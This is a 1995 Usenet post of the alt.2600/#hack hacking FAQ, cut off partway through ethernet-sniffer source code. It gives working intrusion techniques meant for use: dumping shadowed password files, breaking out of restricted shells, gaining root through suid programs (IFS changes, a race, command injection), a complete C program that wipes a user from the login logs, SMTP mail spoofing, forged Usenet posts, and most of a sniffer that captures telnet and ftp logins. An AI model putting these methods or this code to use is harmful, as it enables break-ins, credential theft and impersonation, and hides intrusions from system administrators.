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2600 FAQ Beta .011 - Part 1-1
From newsie.wis.com!news.sprintlink.net!howland.reston.ans.net!gatech!news-feed-1.peachnet.edu!insosf1.infonet.net!solaris.cc.vt.edu!swiss.ans.net!potogold.rmii.com!rainbow.rmii.com!not-for-mail Sun Mar 19 16:48:35 1995
Path: newsie.wis.com!news.sprintlink.net!howland.reston.ans.net!gatech!news-feed-1.peachnet.edu!insosf1.infonet.net!solaris.cc.vt.edu!swiss.ans.net!potogold.rmii.com!rainbow.rmii.com!not-for-mail
From: will@gnu.ai.mit.edu (Will Spencer)
Newsgroups: alt.2600
Subject: alt.2600 FAQ, Beta .011 - Part 1/1
Followup-To: alt.2600
Date: 19 Mar 1995 11:48:50 -0700
Organization: Rocky Mountain Internet Inc.
Lines: 5022
Sender: will@rmii.com
Message-ID: <3khuai$bq4@rainbow.rmii.com>
Reply-To: will@gnu.ai.mit.edu (FAQ Comments address)
NNTP-Posting-Host: rainbow.rmii.com
Summary: This posting contains a list of Frequently Asked
Questions (and their answers) about hacking. It
should be read by anyone who wishes to post to the
alt.2600 newsgroup or use the IRC channel #hack.
Archive-name: alt-2600-faq
Posting-Frequency: Random
Last-Modified: 1995/03/18
Version: Beta .011
Editors Note: Welcome to Beta .011 of the alt.2600/#hack FAQ!
The purpose of this FAQ is to give you a general
introduction to the topics covered in alt.2600 and
#hack. No document will make you a hacker.
If you have a questions regarding any of the topics
covered in the FAQ, please direct it to alt.2600 or
#hack. Please do not e-mail me with them, I'm getting
swamped.
If your copy of the #hack FAQ does not end with the
letters EOT on a line by themselves, you do not have
the entire FAQ.
If you do not have the entire FAQ, retrieve if via ftp
from one of these sites:
rahul.net /pub/lps
rtfm.mit.edu /pub/usenet-by-group/alt.2600
ftp.clark.net /pub/jcase
The
alt.2600/#Hack F.A.Q.
Beta Revision .011
A TNO Communication Production
by
Voyager
will@gnu.ai.mit.edu
Sysop of
Hacker's Haven
(303)343-4053
Greets go out to:
A-Flat, Al, Aleph1, Bluesman, Cavalier, Cruiser, C-Curve,
DeadKat, Disorder, Edison, Hobbit, KCrow, Major, Marauder,
Novocain, Outsider, Presence, Rogue Agent, sbin, Taran King,
Theora, ThePublic, Tomes and TheSaint.
We work in the dark
We do what we can
We give what we have
Our doubt is our passion,
and our passion is our task
The rest is the madness of art.
-- Henry James
Section A: Computers
01. How do I access the password file under Unix?
02. How do I crack Unix passwords?
03. What is password shadowing?
04. Where can I find the password file if it's shadowed?
05. What is NIS/yp?
06. What are those weird characters after the comma in my passwd file?
07. How do I access the password file under VMS?
08. How do I crack VMS passwords?
09. How do I break out of a restricted shell?
10. How do I gain root from a suid script or program?
11. How do I erase my presence from the system logs?
12. How do I send fakemail?
13. How do I fake posts to UseNet?
14. How do I hack ChanOp on IRC?
15. How do I modify the IRC client to hide my real username?
16. How to I change to directories with strange characters in them?
17. What is ethernet sniffing?
18. What is an Internet Outdial?
U 19. What are some Internet Outdials?
U 20. What is this system?
U 21. What are the default accounts for XXX ?
U 22. What port is XXX on?
U 23. What is a trojan/worm/virus/logic bomb?
U 24. How can I protect myself from viruses and such?
N 25. Where can I get more information about viruses?
26. What is Cryptoxxxxxxx?
27. What is PGP?
28. What is Tempest?
29. What is an anonymous remailer?
30. What are the addresses of some anonymous remailers?
31. How do I defeat copy protection?
32. What is 127.0.0.1?
N 33. How do I post to a moderated newsgroup?
Section B: Telephony
01. What is a Red Box?
02. How do I build a Red Box?
U 03. Where can I get a 6.5536Mhz crystal?
04. Which payphones will a Red Box work on?
05. How do I make local calls with a Red Box?
06. What is a Blue Box?
U 07. Do Blue Boxes still work?
08. What is a Black Box?
U 09. What do all the colored boxes do?
10. What is an ANAC number?
U 11. What is the ANAC number for my area?
12. What is a ringback number?
U 13. What is the ringback number for my area?
14. What is a loop?
U 15. What is a loop in my area?
U 16. What is a CNA number?
U 17. What is the telephone company CNA number for my area?
U 18. What are some numbers that always ring busy?
U 19. What are some numbers that temporarily disconnect phone service?
U 20. What is scanning?
21. Is scanning illegal?
22. Where can I purchase a lineman's handset?
23. What are the DTMF frequencies?
24. What are the frequencies of the telephone tones?
25. What are all of the * (LASS) codes?
26. What frequencies do cordless phones operate on?
N 27. What is Caller-ID?
N 28. What is a PBX?
N 29. What is a VMB?
Section C: Resources
U 01. What are some ftp sites of interest to hackers?
N 02. What are some fsp sites of interest to hackers?
03. What are some newsgroups of interest to hackers?
U 04. What are some telnet sites of interest to hackers?
05. What are some gopher sites of interest to hackers?
U 06. What are some World wide Web (WWW) sites of interest to hackers?
U 07. What are some IRC channels of interest to hackers?
U 08. What are some BBS's of interest to hackers?
U 09. What are some books of interest to hackers?
N 10. What are some videos of interest to hackers?
U 11. What are some mailing lists of interest to hackers?
12. What are some print magazines of interest to hackers?
N 13. What are some e-zines of interest to hackers?
14. What are some organizations of interest to hackers?
U 15. Where can I purchase a magnetic stripe encoder/decoder?
16. What are the rainbow books and how can I get them?
Section D: 2600
01. What is alt.2600?
02. What does "2600" mean?
03. Are there on-line versions of 2600 available?
04. I can't find 2600 at any bookstores. What can I do?
05. Why does 2600 cost more to subscribe to than to buy at a newsstand?
Section E: Miscellaneous
U 01. What does XXX stand for?
02. How do I determine if I have a valid credit card number?
03. What bank issued this credit card?
U 04. What are the ethics of hacking?
05. Where can I get a copy of the alt.2600/#hack FAQ?
U == Updated since last release of the alt.2600/#hack FAQ
N == New since last release of the alt.2600/#hack FAQ
Section A: Computers
~~~~~~~~~~~~~~~~~~~~
01. How do I access the password file under Unix?
In standard Unix the password file is /etc/passwd. On a Unix system
with either NIS/yp or password shadowing, much of the password data
may be elsewhere.
02. How do I crack Unix passwords?
Contrary to popular belief, Unix passwords cannot be decrypted. Unix
passwords are encrypted with a one way function. The login program
encrypts the text you enter at the "password:" prompt and compares
that encrypted string against the encrypted form of your password.
Password cracking software uses wordlists. Each word in the wordlist
is encrypted and the results are compared to the encrypted form of the
target password.
The best cracking program for Unix passwords is currently Crack by
Alec Muffett. For PC-DOS, the best package to use is currently
CrackerJack.
03. What is password shadowing?
Password shadowing is a security system where the encrypted password
field of /etc/passwd is replaced with a special token and the
encrypted password is stored in a separate file which is not readable
by normal system users.
To defeat password shadowing on many (but not all) systems, write a
program that uses successive calls to getpwent() to obtain the
password file.
Example:
#include <pwd.h>
main()
{
struct passwd *p;
while(p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}
04. Where can I find the password file if it's shadowed?
Unix Path Token
-----------------------------------------------------------------
AIX 3 /etc/security/passwd !
or /tcb/auth/files/<first letter #
of username>/<username>
A/UX 3.0s /tcb/files/auth/?/*
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files/<first letter *
of username>/<username>
SunOS4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.0 /etc/shadow
<optional NIS+ private secure maps/tables/whatever>
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb *
05. What is NIS/yp?
NIS (Network Information System) in the current name for what was once
known as yp (Yellow Pages). The purpose for NIS is to allow many
machines on a network to share configuration information, including
password data. NIS is not designed to promote system security. If
your system uses NIS you will have a very short /etc/passwd file that
includes a line that looks like this:
+::0:0:::
To view the real password file use this command "ypcat passwd"
06. What are those weird characters after the comma in my passwd file?
The characters are password aging data. Password aging forces the
user to change passwords after a System Administrator specified period
of time. Password aging can also force a user to keep a password for
a certain number of weeks before changing it.
]
] Sample entry from /etc/passwd with password aging installed:
]
] will:5fg63fhD3d,M.z8:9406:12:Will Spencer:/home/fsg/will:/bin/bash
]
Note the comma in the encrypted password field. The characters after
the comma are used by the password aging mechanism.
]
] Password aging characters from above example:
]
] M.z8
]
The four characters are interpreted as follows:
1: Maximum number of weeks a password can be used without changing.
2: Minimum number of weeks a password must be used before changing.
3&4: Last time password was changed, in number of weeks since 1970.
Three special cases should be noted:
If the first and second characters are set to '..' the user will be
forced to change his/her passwd the next time he/she logs in. The
passwd program will then remove the passwd aging characters, and the
user will not be subjected to password aging requirements again.
If the third and fourth characters are set to '..' the user will be
forced to change his/her passwd the next time he/she logs in. Password
aging will then occur as defined by the first and second characters.
If the first character (MAX) is less than the second character (MIN),
the user is not allowed to change his/her password. Only root can
change that users password.
It should also be noted that the su command does not check the password
aging data. An account with an expired password can be su'd to
without being forced to change the password.
Password Aging Codes
+------------------------------------------------------------------------+
| |
| Character: . / 0 1 2 3 4 5 6 7 8 9 A B C D E F G H |
| Number: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
| |
| Character: I J K L M N O P Q R S T U V W X Y Z a b |
| Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
| |
| Character: c d e f g h i j k l m n o p q r s t u v |
| Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
| |
| Character: w x y z |
| Number: 60 61 62 63 |
| |
+------------------------------------------------------------------------+
07. How do I access the password file under VMS?
Under VMS, the password file is SYS$SYSTEM:SYSUAF.DAT. However,
unlike Unix, most users do not have access to read the password file.
08. How do I crack VMS passwords?
Write a program that uses the SYS$GETUAF functions to compare the
results of encrypted words against the encrypted data in SYSUAF.DAT.
Two such programs are known to exist, CHECK_PASSWORD and
GUESS_PASSWORD.
09. How do I break out of a restricted shell?
On poorly implemented restricted shells you can break out of the
restricted environment by running a program that features a shell
function. A good example is vi. Run vi and use this command:
:set shell=/bin/sh
then shell using this command:
:shell
10. How do I gain root from a suid script or program?
1. Change IFS.
If the program calls any other programs using the system() function
call, you may be able to fool it by changing IFS. IFS is the Internal
Field Separator that the shell uses to delimit arguments.
If the program contains a line that looks like this:
system("/bin/date")
and you change IFS to '/' the shell will them interpret the
proceeding line as:
bin date
Now, if you have a program of your own in the path called "bin" the
suid program will run your program instead of /bin/date.
To change IFS, use this command:
IFS='/';export IFS # Bourne Shell
setenv IFS '/' # C Shell
export IFS='/' # Korn Shell
2. link the script to -i
Create a symbolic link named "-i" to the program. Running "-i"
will cause the interpreter shell (/bin/sh) to start up in interactive
mode. This only works on suid shell scripts.
Example:
% ln suid.sh -i
% -i
#
3. Exploit a race condition
Replace a symbolic link to the program with another program while the
kernel is loading /bin/sh.
Example:
nice -19 suidprog ; ln -s evilprog suidroot
4. Send bad input to the program.
Invoke the name of the program and a separate command on the same
command line.
Example:
suidprog ; id
11. How do I erase my presence from the system logs?
Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text
files that can be edited by hand with vi, you must use a program
specifically written for this purpose.
Example:
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}
12. How do I send fakemail?
Telnet to port 25 of the machine you want the mail to appear to
originate from. Enter your message as in this example:
HELO bellcore.com
MAIL FROM:Voyager@bellcore.com
RCPT TO:president@whitehouse.gov
DATA
Please discontinue your silly Clipper initiative.
.
QUIT
On systems that have RFC 931 implemented, spoofing your "MAIL FROM:"
line will not work. Test by sending yourself fakemail first.
For more information read RFC 822 "Standard for the format of ARPA
Internet text messages."
13. How do I fake posts to UseNet?
Use inews to post. Give inews the following lines:
From:
Newsgroups:
Subject:
Message-ID:
Date:
Organization:
For a moderated newsgroup, inews will also require this line:
Approved:
Then add your post and terminate with <Control-D>.
Example:
From: Eric S. Real
Newsgroups: alt.hackers
Subject: Pathetic bunch of wannabe losers
Message-ID: <esr.123@locke.ccil.org>
Date: Fri, 13 Aug 1994 12:15:03
Organization: Moral Majority
A pathetic bunch of wannabe losers is what most of you are, with no
right to steal the honorable title of `hacker' to puff up your silly
adolescent egos. Get stuffed, get lost, and go to jail.
Eric S. Real <esr@locke.ccil.org>
^D
Note that many systems will append an Originator: line to your message
header, effectively revealing the account from which the message was
posted.
14. How do I hack ChanOp on IRC?
Find a server that is split from the rest of IRC and create your own
channel there using the name of the channel you want ChanOp on. When
that server reconnects to the net, you will have ChanOp on the real
channel. If you have ServerOp on a server, you can cause it to split
on purpose.
15. How do I modify the IRC client to hide my real username?
Get the IRC client from cs.bu.edu /irc/clients. Look at the source
code files irc.c and ctcp.c. The code you are looking for is fairly
easy to spot. Change it. Change the username code in irc.c and the
ctcp information code in ctcp.c. Compile and run your client.
Here are the diffs from a sample hack of the IRC client. Your client
code will vary slightly depending on what IRC client version you are
running.
*** ctcp.c.old Wed Feb 10 10:08:05 1993
--- ctcp.c Fri Feb 12 04:33:55 1993
***************
*** 331,337 ****
struct passwd *pwd;
long diff;
int uid;
! char c;
/*
* sojge complained that ircII says 'idle 1 seconds'
--- 331,337 ----
struct passwd *pwd;
long diff;
int uid;
! char c, *fing;
/*
* sojge complained that ircII says 'idle 1 seconds'
***************
*** 348,354 ****
if (uid != DAEMON_UID)
{
#endif /* DAEMON_UID */
! if (pwd = getpwuid(uid))
{
char *tmp;
--- 348,356 ----
if (uid != DAEMON_UID)
{
#endif /* DAEMON_UID */
! if (fing = getenv("IRCFINGER"))
! send_ctcp_reply(from, ctcp->name, fing, diff, c);
! else if (pwd = getpwuid(uid))
{
char *tmp;
*** irc.c.old Wed Feb 10 06:33:11 1993
--- irc.c Fri Feb 12 04:02:11 1993
***************
*** 510,516 ****
malloc_strcpy(&my_path, "/");
if (*realname == null(char))
strmcpy(realname, "*Unknown*", REALNAME_LEN);
! if (*username == null(char))
{
if (ptr = getenv("USER"))
strmcpy(username, ptr, NAME_LEN);
--- 510,518 ----
malloc_strcpy(&my_path, "/");
if (*realname == null(char))
strmcpy(realname, "*Unknown*", REALNAME_LEN);
! if (ptr = getenv("IRCUSER"))
! strmcpy(username, ptr, NAME_LEN);
! else if (*username == null(char))
{
if (ptr = getenv("USER"))
strmcpy(username, ptr, NAME_LEN);
16. How to I change to directories with strange characters in them?
These directories are often used by people trying to hide information,
most often warez (commercial software).
There are several things you can do to determine what these strange
characters are. One is to use the arguments to the ls command that
cause ls to give you more information:
From the man page for ls:
-F Causes directories to be marked with a trailing ``/'',
executable files to be marked with a trailing ``*'', and
symbolic links to be marked with a trailing ``@'' symbol.
-q Forces printing of non-graphic characters in filenames as the
character ``?''.
-b Forces printing of non-graphic characters in the \ddd
notation, in octal.
Perhaps the most useful tool is to simply do an "ls -al filename" to
save the directory of the remote ftp site as a file on your local
machine. Then you can do a "cat -t -v -e filename" to see exactly
what those bizarre little characters are.
From the man page for cat:
-v Causes non-printing characters (with the exception of tabs,
newlines, and form feeds) to be displayed. Control characters
are displayed as ^X (<Ctrl>x), where X is the key pressed with
the <Ctrl> key (for example, <Ctrl>m is displayed as ^M). The
<Del> character (octal 0177) is printed as ^?. Non-ASCII
characters (with the high bit set) are printed as M -x, where
x is the character specified by the seven low order bits.
-t Causes tabs to be printed as ^I and form feeds as ^L. This
option is ignored if the -v option is not specified.
-e Causes a ``$'' character to be printed at the end of each line
(prior to the new-line). This option is ignored if the -v
option is not set.
If the directory name includes a <SPACE> or a <TAB> you will need to
enclose the entire directory name in quotes. Example:
cd "..<TAB>"
On an IBM-PC, you may enter these special characters by holding down
the <ALT> key and entering the decimal value of the special character
on your numeric keypad. When you release the <ALT> key, the special
character should appear on your screen. An ASCII chart can be very
helpful.
Sometimes people will create directories with some of the standard
stty control characters in them, such as ^Z (suspend) or ^C (intr).
To get into those directories, you will first need to user stty to
change the control character in qustion to another character.
From the man page for stty:
Control assignments
control-character C
Sets control-character to C, where control-character is
erase, kill, intr (interrupt), quit, eof, eol, swtch
(switch), start, stop or susp.
start and stop are available as possible control char-
acters for the control-character C assignment.
If C is preceded by a caret (^) (escaped from the
shell), then the value used is the corresponding con-
trol character (for example, ^D is a <Ctrl>d; ^? is
interpreted as DELETE and ^- is interpreted as unde-
fined).
Use the stty -a command to see your current stty settings, and to
determine which one is causing you problems.
17. What is ethernet sniffing?
Ethernet sniffing is listening (with software) to the raw ethernet
device for packets that interest you. When your software sees a
packet that fits certain criteria, it logs it to a file. The most
common criteria for an interesting packet is one that contains words
like "login" or "password."
Many ethernet sniffers are available, here are a few that may be on
your system now:
OS Sniffer
~~ ~~~~~~~
HP/UX nettl (monitor) & netfmt (display)
nfswatch /* Available via anonymous ftp */
Irix nfswatch /* Available via anonymous ftp */
Etherman
SunOS etherfind
nfswatch /* Available via anonymous ftp */
Solaris snoop
DOS ETHLOAD /* Available via anonymous ftp as */
/* ethld104.zip */
The Gobbler /* Available via anonymous ftp */
LanPatrol
LanWatch
Netmon
Netwatch
Netzhack /* Available via anonymous ftp at */
/* mistress.informatik.unibw-muenchen.de */
/* /pub/netzhack.mac */
Macintosh Etherpeek
Here is source code for an ethernet sniffer:
/* Esniff.c */
#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <arpa/inet.h>
#define ERR stderr
char *malloc();
char *device,
*ProgName,
*LogName;
FILE *LOG;
int debug=0;
#define NIT_DEV "/dev/nit"
#define CHUNKSIZE 4096 /* device buffer size */
int if_fd = -1;
int Packet[CHUNKSIZE+32];
void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
exit(err); }
void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
exit(err); }
#define IP ((struct ip *)Packet)
#define IP_OFFSET (0x1FFF)
#define SZETH (sizeof(struct ether_header))
#define IPLEN (ntohs(ip->ip_len))
#define IPHLEN (ip->ip_hl)
#define TCPOFF (tcph->th_off)
#define IPS (ip->ip_src)
#define IPD (ip->ip_dst)
#define TCPS (tcph->th_sport)
#define TCPD (tcph->th_dport)
#define IPeq(s,t) ((s).s_addr == (t).s_addr)
#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))
#define MAXBUFLEN (128)
time_t LastTIME = 0;
struct CREC {
struct CREC *Next,
*Last;
time_t Time; /* start time */
struct in_addr SRCip,
DSTip;
u_int SRCport, /* src/dst ports */
DSTport;
u_char Data[MAXBUFLEN+2]; /* important stuff :-) */
u_int Length; /* current data length */
u_int PKcnt; /* # pkts */
u_long LASTseq;
};
struct CREC *CLroot = NULL;
char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);
return( (he)?(he->h_name):(inet_ntoa(ip)) );
}
char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')
SFL(0,TH_FIN, 'F');
SFL(1,TH_SYN, 'S');
SFL(2,TH_RST, 'R');
SFL(3,TH_PUSH,'P');
SFL(4,TH_ACK, 'A');
SFL(5,TH_URG, 'U');
iobuf[6]=0;
return(iobuf);
}
char *SERVp(port)
register u_int port;
{ static char buf[10];
register char *p;
switch(port) {
case IPPORT_LOGINSERVER: p="rlogin"; break;
case IPPORT_TELNET: p="telnet"; break;
case IPPORT_SMTP: p="smtp"; break;
case IPPORT_FTP: p="ftp"; break;
default: sprintf(buf,"%u",port); p=buf; break;
}
return(p);
}
char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
p[strlen(p)-6]=0; /* strip " YYYY\n" */
return(p);
}
char *NOWtm()
{ time_t tm;
time(&tm);
return( Ptm(&tm) );
}
#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b))
/* add an item */
#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
register struct CREC *CLtmp = \
(struct CREC *)malloc(sizeof(struct CREC)); \
time( &(CLtmp->Time) ); \
CLtmp->SRCip.s_addr = SIP.s_addr; \
CLtmp->DSTip.s_addr = DIP.s_addr; \
CLtmp->SRCport = SPORT; \
CLtmp->DSTport = DPORT; \
CLtmp->Length = MIN(LEN,MAXBUFLEN); \
bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
CLtmp->PKcnt = 1; \
CLtmp->Next = CLroot; \
CLtmp->Last = NULL; \
CLroot = CLtmp; \
}
register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;
while(CLr != NULL) {
if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
break;
CLr = CLr->Next;
}
return(CLr);
}
#define ADDDATA_NODE(CL,DATA,LEN) { \
bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
CL->Length += LEN; \
}
#define PR_DATA(dp,ln) { \
register u_char lastc=0; \
while(ln-- >0) { \
if(*dp < 32) { \
switch(*dp) { \
case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
break; \
case '\r': \
case '\n': fprintf(LOG,"\n : "); \
break; \
default : fprintf(LOG,"^%c", (*dp + 64)); \
break; \
} \
} else { \
if(isprint(*dp)) fputc(*dp,LOG); \
else fprintf(LOG,"(%d)",*dp); \
} \
lastc = *dp++; \
} \
fflush(LOG); \
}
void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
{
fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
fprintf(LOG," DATA: ");
{ register u_int i = CLe->Length;
register u_char *p = CLe->Data;
PR_DATA(p,i);
PR_DATA(d,dl);
}
fprintf(LOG,"\n-- \n");
fflush(LOG);
if(CLe->Next != NULL)
CLe->Next->Last = CLe->Last;
if(CLe->Last != NULL)
CLe->Last->Next = CLe->Next;
else
CLroot = CLe->Next;
free(CLe);
}
/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
time_t tm; \
time(&tm); \
if(LastTIME<tm) { \
register struct CREC *CLe,*CLt = CLroot; \
LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
while(CLe=CLt) { \
CLt=CLe->Next; \
if(CLe->Time <tm) \
END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
} \
} \
}
void filter(cp, pktlen)
register char *cp;
register u_int pktlen;
{
register struct ip *ip;
register struct tcphdr *tcph;
{ register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);
if(EtherType < 0x600) {
EtherType = *(u_short *)(cp + SZETH + 6);
cp+=8; pktlen-=8;
}
if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
return;
}
/* ugh, gotta do an alignment :-( */
bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));
ip = (struct ip *)Packet;
if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
return;
tcph = (struct tcphdr *)(Packet + IPHLEN);
if(!( (TCPD == IPPORT_TELNET) ||
(TCPD == IPPORT_LOGINSERVER) ||
(TCPD == IPPORT_FTP)
)) return;
{ register struct CREC *CLm;
register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
register u_char *p = (u_char *)Packet;
p += ((IPHLEN * 4) + (TCPOFF * 4));
if(debug) {
fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
}
if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {
CLm->PKcnt++;
if(length>0)
if( (CLm->Length + length) < MAXBUFLEN ) {
ADDDATA_NODE( CLm, p,length);
} else {
END_NODE( CLm, p,length, "DATA LIMIT");
}
if(TCPFL(TH_FIN|TH_RST)) {
END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
}
} else {
if(TCPFL(TH_SYN)) {
ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
}
}
IDLE_NODE();
}
}
/* signal handler
*/
void death()
{ register struct CREC *CLe;
while(CLe=CLroot)
END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");
fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
fflush(LOG);
if(LOG != stdout)
fclose(LOG);
exit(1);
}
/* opens network interface, performs ioctls and reads from it,
* passing data to filter function
*/
void do_it()
{
int cc;
char *buf;
u_short sp_ts_len;
if(!(buf=malloc(CHUNKSIZE)))
Pexit(1,"Eth: malloc");
/* this /dev/nit initialization code pinched from etherfind */
{
struct strioctl si;
struct ifreq ifr;
struct timeval timeout;
u_int chunksize = CHUNKSIZE;
u_long if_flags = NI_PROMISC;
if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
Pexit(1,"Eth: nit open");
if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
Pexit(1,"Eth: ioctl (I_SRDOPT)");
si.ic_timout = INFTIM;
if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");
timeout.tv_sec = 1;
timeout.tv_usec = 0;
si.ic_cmd = NIOCSTIME;
si.ic_len = sizeof(timeout);
si.ic_dp = (char *)&timeout;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");
si.ic_cmd = NIOCSCHUNK;
si.ic_len = sizeof(chunksize);
si.ic_dp = (char *)&chunksize;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");
strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
si.ic_cmd = NIOCBIND;
si.ic_len = sizeof(ifr);
si.ic_dp = (char *)𝔦
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");
si.ic_cmd = NIOCSFLAGS;
si.ic_len = sizeof(if_flags);
si.ic_dp = (char *)&if_flags;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");
if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
Pexit(1,"Eth: ioctl (I_FLUSH)");
}
while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
register char *bp = buf,
*bufstop = (buf + cc);
while (bp < bufstop) {
register char *cp = bp;
register struct nit_bufhdr *hdrp;
hdrp = (struct nit_bufhdr *)cp;
cp += sizeof(struct nit_bufhdr);
bp += hdrp->nhb_totlen;
filter(cp, (u_long)hdrp->nhb_msglen);
}
}
Pexit((-1),"Eth: read");
}
/* Authorize your proogie,generate your own password and uncomment here */
/* #define AUTHPASSWD "EloiZgZejWyms" */
void getauth()
{ char *buf,*getpass(),*crypt();
char pwd[21],prmpt[81];
